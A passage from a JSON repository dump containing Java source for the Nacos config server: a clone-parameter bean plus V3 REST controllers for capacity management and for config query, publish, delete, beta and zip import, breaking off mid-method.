    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.controller.parameters;\n\n/**\n * SameNamespaceCloneConfigBean.\n *\n * @author klw(213539 @ qq.com)\n * @date 2019/12/13 16:10\n */\npublic class SameNamespaceCloneConfigBean {\n    \n    private Long cfgId;\n    \n    private String dataId;\n    \n    private String group;\n    \n    public Long getCfgId() {\n        return cfgId;\n    }\n    \n    public void setCfgId(Long cfgId) {\n        this.cfgId = cfgId;\n    }\n    \n    public String getDataId() {\n        return dataId;\n    }\n    \n    public void setDataId(String dataId) {\n        this.dataId = dataId;\n    }\n    \n    public String getGroup() {\n        return group;\n    }\n    \n    public void setGroup(String group) {\n        this.group = group;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/controller/v3/CapacityControllerV3.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.controller.v3;\n\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.capacity.Capacity;\nimport com.alibaba.nacos.config.server.model.form.UpdateCapacityForm;\nimport com.alibaba.nacos.config.server.paramcheck.ConfigDefaultHttpParamExtractor;\nimport com.alibaba.nacos.config.server.service.capacity.CapacityService;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport static com.alibaba.nacos.config.server.constant.Constants.CAPACITY_CONTROLLER_V3_ADMIN_PATH;\n\n/**\n * Capacity Management.\n *\n * @author Nacos\n */\n@NacosApi\n@RestController\n@RequestMapping(CAPACITY_CONTROLLER_V3_ADMIN_PATH)\n@ExtractorManager.Extractor(httpExtractor = ConfigDefaultHttpParamExtractor.class)\npublic class CapacityControllerV3 {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(CapacityControllerV3.class);\n    \n    private final CapacityService capacityService;\n    \n    public CapacityControllerV3(CapacityService capacityService) {\n        this.capacityService = capacityService;\n    }\n    \n    /**\n     * Get capacity information.\n     */\n    @GetMapping\n    @Secured(resource = Constants.CAPACITY_CONTROLLER_V3_ADMIN_PATH, action = ActionTypes.READ,\n            signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<Capacity> getCapacity(@RequestParam(required = false) String groupName,\n            @RequestParam(required = false) String namespaceId) throws NacosApiException {\n        if (StringUtils.isBlank(groupName) && StringUtils.isBlank(namespaceId)) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.PARAMETER_MISSING,\n                    \"At least one of the parameters (groupName or namespaceId) must be provided\");\n        }\n        \n        try {\n            Capacity capacity = capacityService.getCapacityWithDefault(groupName, namespaceId);\n            if (capacity == null) {\n                LOGGER.warn(\"[getCapacity] capacity not exist，need init groupName: {}, namespaceId: {}\", groupName, namespaceId);\n                capacityService.initCapacity(groupName, namespaceId);\n                capacity = capacityService.getCapacityWithDefault(groupName, namespaceId);\n            }\n            return Result.success(capacity);\n        } catch (Exception e) {\n            LOGGER.error(\"[getCapacity] Failed to fetch capacity for groupName: {}, namespaceId: {}\", groupName, namespaceId, e);\n            return Result.failure(ErrorCode.SERVER_ERROR.getCode(), e.getMessage(), null);\n        }\n    }\n    \n    /**\n     * Modify group or capacity of namespaceId, and init record when capacity information are still initial.\n     */\n    @PostMapping\n    @Secured(resource = Constants.CAPACITY_CONTROLLER_V3_ADMIN_PATH, action = ActionTypes.WRITE,\n            signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<Boolean> updateCapacity(UpdateCapacityForm updateCapacityForm) throws NacosApiException {\n        updateCapacityForm.checkNamespaceIdAndGroupName(capacityService);\n        updateCapacityForm.validate();\n        \n        String groupName = updateCapacityForm.getGroupName();\n        String namespaceId = updateCapacityForm.getNamespaceId();\n        Integer quota = updateCapacityForm.getQuota();\n        Integer maxSize = updateCapacityForm.getMaxSize();\n        Integer maxAggrCount = updateCapacityForm.getMaxAggrCount();\n        Integer maxAggrSize = updateCapacityForm.getMaxAggrSize();\n        \n        try {\n            boolean isSuccess = capacityService.insertOrUpdateCapacity(groupName, namespaceId, quota, maxSize,\n                    maxAggrCount, maxAggrSize);\n            if (isSuccess) {\n                return Result.success(true);\n            } else {\n                return Result.failure(ErrorCode.SERVER_ERROR.getCode(),\n                        String.format(\"Failed to update the capacity for groupName: %s, namespaceId: %s\", groupName, namespaceId), null);\n            }\n        } catch (Exception e) {\n            LOGGER.error(\"[updateCapacity] Failed to update the capacity for groupName: {}, namespaceId: {}\", groupName, namespaceId, e);\n            return Result.failure(ErrorCode.SERVER_ERROR.getCode(), e.getMessage(), null);\n        }\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/controller/v3/ConfigControllerV3.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.controller.v3;\n\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.config.ConfigType;\nimport com.alibaba.nacos.api.config.model.ConfigBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigCloneInfo;\nimport com.alibaba.nacos.api.config.model.ConfigDetailInfo;\nimport com.alibaba.nacos.api.config.model.ConfigGrayInfo;\nimport com.alibaba.nacos.api.config.model.ConfigListenerInfo;\nimport com.alibaba.nacos.api.config.model.SameConfigPolicy;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.DateFormatUtils;\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.common.utils.Pair;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.constant.ParametersField;\nimport com.alibaba.nacos.config.server.model.ConfigAllInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigMetadata;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.event.ConfigDataChangeEvent;\nimport com.alibaba.nacos.config.server.model.form.ConfigFormV3;\nimport com.alibaba.nacos.config.server.model.gray.BetaGrayRule;\nimport com.alibaba.nacos.config.server.paramcheck.ConfigBlurSearchHttpParamExtractor;\nimport com.alibaba.nacos.config.server.paramcheck.ConfigDefaultHttpParamExtractor;\nimport com.alibaba.nacos.config.server.service.ConfigChangePublisher;\nimport com.alibaba.nacos.config.server.service.ConfigDetailService;\nimport com.alibaba.nacos.config.server.service.ConfigMigrateService;\nimport com.alibaba.nacos.config.server.service.ConfigOperationService;\nimport com.alibaba.nacos.config.server.service.listener.ConfigListenerStateDelegate;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoBetaPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.trace.ConfigTraceService;\nimport com.alibaba.nacos.config.server.utils.GroupKey;\nimport com.alibaba.nacos.config.server.utils.ParamUtils;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.config.server.utils.RequestUtil;\nimport com.alibaba.nacos.config.server.utils.ResponseUtil;\nimport com.alibaba.nacos.config.server.utils.TimeUtils;\nimport com.alibaba.nacos.config.server.utils.YamlParserUtil;\nimport com.alibaba.nacos.config.server.utils.ZipUtils;\nimport com.alibaba.nacos.core.control.TpsControl;\nimport com.alibaba.nacos.core.model.form.AggregationForm;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport com.alibaba.nacos.core.namespace.repository.NamespacePersistService;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport com.alibaba.nacos.plugin.encryption.handler.EncryptionHandler;\nimport com.alibaba.nacos.sys.utils.InetUtils;\nimport jakarta.servlet.http.HttpServletRequest;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.http.HttpHeaders;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.util.CollectionUtils;\nimport org.springframework.web.bind.annotation.DeleteMapping;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.PutMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.io.IOException;\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Objects;\nimport java.util.Set;\nimport java.util.stream.Collectors;\n\nimport static com.alibaba.nacos.config.server.utils.RequestUtil.getRemoteIp;\n\n/**\n * Configuration management.\n *\n * @author Nacos\n */\n@NacosApi\n@RestController\n@RequestMapping(Constants.CONFIG_ADMIN_V3_PATH)\n@ExtractorManager.Extractor(httpExtractor = ConfigDefaultHttpParamExtractor.class)\npublic class ConfigControllerV3 {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConfigControllerV3.class);\n    \n    private static final String EXPORT_CONFIG_FILE_NAME = \"nacos_config_export_\";\n    \n    private static final String EXPORT_CONFIG_FILE_NAME_EXT = \".zip\";\n    \n    private static final String EXPORT_CONFIG_FILE_NAME_DATE_FORMAT = \"yyyyMMddHHmmss\";\n    \n    private final ConfigOperationService configOperationService;\n    \n    private final ConfigInfoPersistService configInfoPersistService;\n    \n    private final ConfigDetailService configDetailService;\n    \n    private final ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    private final ConfigInfoBetaPersistService configInfoBetaPersistService;\n    \n    private final NamespacePersistService namespacePersistService;\n    \n    private final ConfigListenerStateDelegate configListenerStateDelegate;\n    \n    private final ConfigMigrateService configMigrateService;\n    \n    /**\n     * Flag to indicate if the table `config_info_beta` exists, which means the old version of table schema is used.\n     */\n    private boolean oldTableVersion;\n    \n    public ConfigControllerV3(ConfigOperationService configOperationService,\n            ConfigInfoPersistService configInfoPersistService, ConfigDetailService configDetailService,\n            ConfigInfoGrayPersistService configInfoGrayPersistService,\n            ConfigInfoBetaPersistService configInfoBetaPersistService, NamespacePersistService namespacePersistService,\n            ConfigListenerStateDelegate configListenerStateDelegate, ConfigMigrateService configMigrateService) {\n        this.configOperationService = configOperationService;\n        this.configInfoPersistService = configInfoPersistService;\n        this.configDetailService = configDetailService;\n        this.configInfoGrayPersistService = configInfoGrayPersistService;\n        this.configInfoBetaPersistService = configInfoBetaPersistService;\n        this.namespacePersistService = namespacePersistService;\n        this.configListenerStateDelegate = configListenerStateDelegate;\n        this.configMigrateService = configMigrateService;\n        this.oldTableVersion = namespacePersistService.isExistTable(\"config_info_beta\");\n    }\n    \n    /**\n     * Query configuration.\n     */\n    @GetMapping\n    @TpsControl(pointName = \"ConfigQuery\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<ConfigDetailInfo> getConfig(ConfigFormV3 configForm) throws NacosException {\n        configForm.validate();\n        // check namespaceId\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        // check params\n        String dataId = configForm.getDataId();\n        String groupName = configForm.getGroupName();\n        ConfigAllInfo configAllInfo = configInfoPersistService.findConfigAllInfo(dataId, groupName, namespaceId);\n        if (Objects.isNull(configAllInfo)) {\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.RESOURCE_NOT_FOUND,\n                    \"Config not exist, please publish Config first.\");\n        }\n        // decrypted\n        String encryptedDataKey = configAllInfo.getEncryptedDataKey();\n        Pair<String, String> pair = EncryptionHandler.decryptHandler(dataId, encryptedDataKey,\n                configAllInfo.getContent());\n        configAllInfo.setContent(pair.getSecond());\n        ConfigDetailInfo result = ResponseUtil.transferToConfigDetailInfo(configAllInfo);\n        return Result.success(result);\n    }\n    \n    /**\n     * Publish configuration.\n     */\n    @PostMapping\n    @TpsControl(pointName = \"ConfigPublish\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<Boolean> publishConfig(HttpServletRequest request, ConfigFormV3 configForm) throws NacosException {\n        // check required field\n        configForm.validateWithContent();\n        final boolean namespaceTransferred = NamespaceUtil.isNeedTransferNamespace(configForm.getNamespaceId());\n        configForm.setNamespaceId(NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId()));\n        \n        // check param\n        ParamUtils.checkParam(configForm.getDataId(), configForm.getGroup(), \"datumId\", configForm.getContent());\n        ParamUtils.checkParamV2(configForm.getTag());\n        \n        if (StringUtils.isBlank(configForm.getSrcUser())) {\n            configForm.setSrcUser(RequestUtil.getSrcUserName(request));\n        }\n        \n        if (!ConfigType.isValidType(configForm.getType())) {\n            configForm.setType(ConfigType.getDefaultType().getType());\n        }\n        \n        String encryptedDataKeyFinal = configForm.getEncryptedDataKey();\n        if (StringUtils.isBlank(encryptedDataKeyFinal)) {\n            // encrypted\n            Pair<String, String> pair = EncryptionHandler.encryptHandler(configForm.getDataId(),\n                    configForm.getContent());\n            configForm.setContent(pair.getSecond());\n            encryptedDataKeyFinal = pair.getFirst();\n        }\n        \n        ConfigRequestInfo configRequestInfo = new ConfigRequestInfo();\n        configRequestInfo.setSrcIp(RequestUtil.getRemoteIp(request));\n        configRequestInfo.setRequestIpApp(RequestUtil.getAppName(request));\n        configRequestInfo.setBetaIps(request.getHeader(\"betaIps\"));\n        configRequestInfo.setCasMd5(request.getHeader(\"casMd5\"));\n        configRequestInfo.setNamespaceTransferred(namespaceTransferred);\n        \n        return Result.success(\n                configOperationService.publishConfig(configForm, configRequestInfo, encryptedDataKeyFinal));\n    }\n    \n    /**\n     * Publish config metadata result.\n     *\n     * @param request    the request\n     * @param configForm the config form\n     * @return the result\n     * @throws NacosException the nacos exception\n     */\n    @PutMapping(\"/metadata\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<Boolean> publishConfigMetadata(HttpServletRequest request, ConfigFormV3 configForm)\n            throws NacosException {\n        configForm.validate();\n        String remoteIp = getRemoteIp(request);\n        String configTags = configForm.getConfigTags();\n        String description = configForm.getDesc();\n        String dataId = configForm.getDataId();\n        String group = configForm.getGroup();\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        configInfoPersistService.updateConfigInfoMetadata(dataId, group, namespaceId, configTags, description);\n        configMigrateService.updateConfigMetadataMigrate(dataId, group, namespaceId, configTags, description);\n        final Timestamp time = TimeUtils.getCurrentTime();\n        ConfigTraceService.logPersistenceEvent(dataId, group, namespaceId, null, time.getTime(), remoteIp,\n                ConfigTraceService.PERSISTENCE_EVENT_METADATA, ConfigTraceService.PERSISTENCE_TYPE_PUB, null);\n        ConfigChangePublisher.notifyConfigChange(new ConfigDataChangeEvent(dataId, group, namespaceId, time.getTime()));\n        return Result.success(true);\n    }\n    \n    /**\n     * Delete configuration.\n     */\n    @DeleteMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<Boolean> deleteConfig(HttpServletRequest request, ConfigFormV3 configForm) throws NacosException {\n        configForm.validate();\n        // check namespaceId\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        String tag = configForm.getTag();\n        ParamUtils.checkParamV2(tag);\n        \n        String clientIp = getRemoteIp(request);\n        String srcUser = RequestUtil.getSrcUserName(request);\n        \n        return Result.success(\n                configOperationService.deleteConfig(configForm.getDataId(), configForm.getGroupName(), namespaceId, tag,\n                        clientIp, srcUser, Constants.HTTP));\n    }\n    \n    /**\n     * Batch delete configuration by ids.\n     */\n    @DeleteMapping(\"/batch\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<Boolean> deleteConfigs(HttpServletRequest request, @RequestParam(value = \"ids\") List<Long> ids) {\n        String clientIp = getRemoteIp(request);\n        String srcUser = RequestUtil.getSrcUserName(request);\n        try {\n            for (Long id : ids) {\n                ConfigInfo configInfo = configInfoPersistService.findConfigInfo(id);\n                if (configInfo == null) {\n                    LOGGER.warn(\"[deleteConfigs] configInfo is null, id: {}\", id);\n                    continue;\n                }\n                configOperationService.deleteConfig(configInfo.getDataId(), configInfo.getGroup(),\n                        configInfo.getTenant(), null, clientIp, srcUser, Constants.HTTP);\n            }\n            return Result.success(true);\n        } catch (Exception e) {\n            LOGGER.error(\"delete configs based on the IDs list error, IDs: {}\", ids, e);\n            return Result.failure(ErrorCode.SERVER_ERROR);\n        }\n    }\n    \n    /**\n     * Subscribe to configured client information.\n     */\n    @GetMapping(\"/listener\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<ConfigListenerInfo> getListeners(ConfigFormV3 configForm, AggregationForm aggregationForm)\n            throws Exception {\n        configForm.validate();\n        aggregationForm.validate();\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        return Result.success(\n                configListenerStateDelegate.getListenerState(configForm.getDataId(), configForm.getGroupName(),\n                        namespaceId, aggregationForm.isAggregation()));\n    }\n    \n    /**\n     * List or Search config by config condition.\n     *\n     * <p>\n     * This API will entry the request into an queue to cache and do query limit. If API called with frequently or\n     * datasource is high performance and slow RT, The API will return {@code 503}. Can use\n     * `nacos.config.search.max_capacity` and `nacos.config.search.max_thread` to upper the limit of query. And use\n     * `nacos.config.search.wait_timeout` to control the waiting time of query.\n     * </p>\n     */\n    @GetMapping(\"/list\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    @ExtractorManager.Extractor(httpExtractor = ConfigBlurSearchHttpParamExtractor.class)\n    public Result<Page<ConfigBasicInfo>> list(ConfigFormV3 configForm, PageForm pageForm, String configDetail,\n            @RequestParam(defaultValue = \"blur\") String search) throws NacosApiException {\n        configForm.blurSearchValidate();\n        pageForm.validate();\n        Map<String, Object> configAdvanceInfo = new HashMap<>(100);\n        if (StringUtils.isNotBlank(configForm.getAppName())) {\n            configAdvanceInfo.put(\"appName\", configForm.getAppName());\n        }\n        if (StringUtils.isNotBlank(configForm.getConfigTags())) {\n            configAdvanceInfo.put(\"config_tags\", configForm.getConfigTags());\n        }\n        if (StringUtils.isNotBlank(configForm.getType())) {\n            configAdvanceInfo.put(ParametersField.TYPES, configForm.getType());\n        }\n        if (StringUtils.isNotBlank(configDetail)) {\n            configAdvanceInfo.put(\"content\", configDetail);\n        }\n        int pageNo = pageForm.getPageNo();\n        int pageSize = pageForm.getPageSize();\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        String dataId = configForm.getDataId();\n        String groupName = configForm.getGroupName();\n        \n        Page<ConfigInfo> configInfoPage = configDetailService.findConfigInfoPage(search, pageNo, pageSize, dataId,\n                groupName, namespaceId, configAdvanceInfo);\n        Page<ConfigBasicInfo> result = new Page<>();\n        result.setTotalCount(configInfoPage.getTotalCount());\n        result.setPagesAvailable(configInfoPage.getPagesAvailable());\n        result.setPageNumber(configInfoPage.getPageNumber());\n        result.setPageItems(configInfoPage.getPageItems().stream().map(ResponseUtil::transferToConfigBasicInfo)\n                .collect(Collectors.toList()));\n        return Result.success(result);\n    }\n    \n    /**\n     * Execute to remove beta operation.\n     */\n    @DeleteMapping(\"/beta\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<Boolean> stopBeta(HttpServletRequest httpServletRequest, ConfigFormV3 configForm)\n            throws NacosApiException {\n        configForm.validate();\n        String remoteIp = getRemoteIp(httpServletRequest);\n        String requestIpApp = RequestUtil.getAppName(httpServletRequest);\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        String dataId = configForm.getDataId();\n        String groupName = configForm.getGroupName();\n        try {\n            configInfoGrayPersistService.removeConfigInfoGray(dataId, groupName, namespaceId, BetaGrayRule.TYPE_BETA,\n                    remoteIp, RequestUtil.getSrcUserName(httpServletRequest));\n            configMigrateService.removeConfigInfoGrayMigrate(dataId, groupName, namespaceId, BetaGrayRule.TYPE_BETA,\n                    remoteIp, RequestUtil.getSrcUserName(httpServletRequest));\n        } catch (Throwable e) {\n            LOGGER.error(\"remove beta data error\", e);\n            return Result.failure(ErrorCode.SERVER_ERROR.getCode(), \"remove beta data error\", false);\n        }\n        \n        ConfigTraceService.logPersistenceEvent(dataId, groupName, namespaceId, requestIpApp, System.currentTimeMillis(),\n                remoteIp, ConfigTraceService.PERSISTENCE_EVENT_BETA, ConfigTraceService.PERSISTENCE_TYPE_REMOVE, null);\n        if (PropertyUtil.isGrayCompatibleModel() && oldTableVersion) {\n            configInfoBetaPersistService.removeConfigInfo4Beta(dataId, groupName, namespaceId);\n        }\n        ConfigChangePublisher.notifyConfigChange(\n                new ConfigDataChangeEvent(dataId, groupName, namespaceId, BetaGrayRule.TYPE_BETA,\n                        System.currentTimeMillis()));\n        \n        return Result.success(true);\n    }\n    \n    /**\n     * Execute to query beta operation.\n     */\n    @GetMapping(\"/beta\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<ConfigGrayInfo> queryBeta(ConfigFormV3 configForm) throws NacosApiException {\n        configForm.validate();\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        String dataId = configForm.getDataId();\n        String groupName = configForm.getGroupName();\n        ConfigInfoGrayWrapper beta4Gray = configInfoGrayPersistService.findConfigInfo4Gray(dataId, groupName,\n                namespaceId, \"beta\");\n        if (Objects.nonNull(beta4Gray)) {\n            String encryptedDataKey = beta4Gray.getEncryptedDataKey();\n            Pair<String, String> pair = EncryptionHandler.decryptHandler(dataId, encryptedDataKey,\n                    beta4Gray.getContent());\n            beta4Gray.setContent(pair.getSecond());\n            ConfigGrayInfo result = ResponseUtil.transferToConfigGrayInfo(beta4Gray);\n            return Result.success(result);\n        } else {\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.RESOURCE_NOT_FOUND,\n                    \"Config is not in beta.\");\n        }\n    }\n    \n    /**\n     * Execute import and publish config operation.\n     */\n    @PostMapping(\"/import\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<Map<String, Object>> importAndPublishConfig(HttpServletRequest request,\n            @RequestParam(value = \"src_user\", required = false) String srcUser,\n            @RequestParam(value = \"namespaceId\", required = false) String namespaceId,\n            @RequestParam(value = \"policy\", defaultValue = \"ABORT\") SameConfigPolicy policy, MultipartFile file)\n            throws NacosException {\n        Map<String, Object> failedData = new HashMap<>(4);\n        if (Objects.isNull(file)) {\n            return Result.failure(ErrorCode.DATA_EMPTY, failedData);\n        }\n        \n        namespaceId = NamespaceUtil.processNamespaceParameter(namespaceId);\n        if (StringUtils.isNotBlank(namespaceId) && !NamespaceUtil.isDefaultNamespaceId(namespaceId)\n                && namespacePersistService.tenantInfoCountByTenantId(namespaceId) <= 0) {\n            failedData.put(\"succCount\", 0);\n            return Result.failure(ErrorCode.NAMESPACE_NOT_EXIST, failedData);\n        }\n        if (StringUtils.isBlank(srcUser)) {\n            srcUser = RequestUtil.getSrcUserName(request);\n        }\n        List<ConfigAllInfo> configInfoList = new ArrayList<>();\n        List<Map<String, String>> unrecognizedList = new ArrayList<>();\n        try {\n            ZipUtils.UnZipResult unziped = ZipUtils.unzip(file.getBytes());\n            Result<Map<String, Object>> errorResult = parseImportDataV2(srcUser, unziped, configInfoList,\n                    unrecognizedList, namespaceId);\n            if (errorResult != null) {\n                return errorResult;\n            }\n        } catch (IOException e) {\n            failedData.put(\"succCount\", 0);\n            LOGGER.error(\"parsing data failed\", e);\n            return Result.failure(ErrorCode.PARSING_DATA_FAILED, failedData);\n        }\n        \n        if (CollectionUtils.isEmpty(configInfoList)) {\n            failedData.put(\"succCount\", 0);\n            return Result.failure(ErrorCode.DATA_EMPTY, failedData);\n        }\n        final String srcIp = RequestUtil.getRemoteIp(request);\n        String requestIpApp = RequestUtil.getAppName(request);\n        final Timestamp time = TimeUtils.getCurrentTime();\n        Map<String, Object> saveResult = configInfoPersistService.batchInsertOrUpdate(configInfoList, srcUser, srcIp,\n                null, policy);\n        for (ConfigInfo configInfo : configInfoList) {\n            ConfigChangePublisher.notifyConfigChange(\n                    new ConfigDataChangeEvent(configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant(),\n                            time.getTime()));\n            ConfigTraceService.logPersistenceEvent(configInfo.getDataId(), configInfo.getGroup(),\n                    configInfo.getTenant(), requestIpApp, time.getTime(), InetUtils.getSelfIP(),\n                    ConfigTraceService.PERSISTENCE_EVENT, ConfigTraceService.PERSISTENCE_TYPE_PUB,\n                    configInfo.getContent());\n        }\n        // unrecognizedCount\n        if (!unrecognizedList.isEmpty()) {\n            saveResult.put(\"unrecognizedCount\", unrecognizedList.size());\n            saveResult.put(\"unrecognizedData\", unrecognizedList);\n        }\n        \n        return Result.success(saveResult);\n    }\n    \n    /**\n     * Import config add .metadata.yml file.\n     */\n    private Result<Map<String, Object>> parseImportDataV2(String srcUser, ZipUtils.UnZipResult unziped,\n            List<ConfigAllInfo> configInfoList, List<Map<String, String>> unrecognizedList, String namespaceId) {\n        ZipUtils.ZipItem metaDataItem = unziped.getMetaDataItem();\n        String metaData = metaDataItem.getItemData();\n        Map<String, Object> failedData = new HashMap<>(4);\n        \n        ConfigMetadata configMetadata = YamlParserUtil.loadObject(metaData, ConfigMetadata.class);\n        if (configMetadata == null || CollectionUtils.isEmpty(configMetadata.getMetadata())) {\n            failedData.put(\"succCount\", 0);\n            return Result.failure(ErrorCode.METADATA_ILLEGAL, failedData);\n        }\n        List<ConfigMetadata.ConfigExportItem> configExportItems = configMetadata.getMetadata();\n        // check config metadata\n        for (ConfigMetadata.ConfigExportItem configExportItem : configExportItems) {\n            if (StringUtils.isBlank(configExportItem.getDataId()) || StringUtils.isBlank(configExportItem.getGroup())\n                    || StringUtils.isBlank(configExportItem.getType())) {\n                failedData.put(\"succCount\", 0);\n                return Result.failure(ErrorCode.METADATA_ILLEGAL, failedData);\n            }\n        }\n        \n        List<ZipUtils.ZipItem> zipItemList = unziped.getZipItemList();\n        Set<String> metaDataKeys = configExportItems.stream()\n                .map(metaItem -> GroupKey.getKey(metaItem.getDataId(), metaItem.getGroup()))\n                .collect(Collectors.toSet());\n        \n        Map<String, String> configContentMap = new HashMap<>(zipItemList.size());\n        int itemNameLength = 2;\n        zipItemList.forEach(item -> {\n            String itemName = item.getItemName();\n            String[] groupAdnDataId = itemName.split(Constants.CONFIG_EXPORT_ITEM_FILE_SEPARATOR);\n            if (groupAdnDataId.length != itemNameLength) {\n                Map<String, String> unrecognizedItem = new HashMap<>(2);\n                